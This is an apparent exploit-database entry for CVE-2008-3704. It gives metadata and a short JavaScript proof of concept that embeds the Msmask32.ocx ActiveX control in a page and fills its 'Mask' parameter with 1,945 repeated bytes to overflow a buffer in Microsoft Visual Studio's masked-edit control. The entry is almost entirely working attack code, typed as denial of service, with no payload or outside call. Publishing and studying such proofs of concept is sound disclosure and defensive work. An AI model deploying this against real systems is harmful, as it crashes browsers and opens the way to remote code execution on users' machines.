Microsoft Visual Studio - 'Msmask32.ocx' ActiveX Remote Buffer Overflow (PoC)

Author: Symantec
type: dos
platform: windows
port: 
date_added: 2008-08-13  
date_updated:   
verified: 1  
codes: OSVDB-47475;CVE-2008-3704  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 6244.js  

var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC"
width="10"><PARAM NAME="Mask" VALUE="';

var body1='"></OBJECT>';

var buf='';
for (i=1;i<=1945;i++){buf=buf+unescape("%0C");}


document.write(body+buf+body1);

# milw0rm.com [2008-08-14]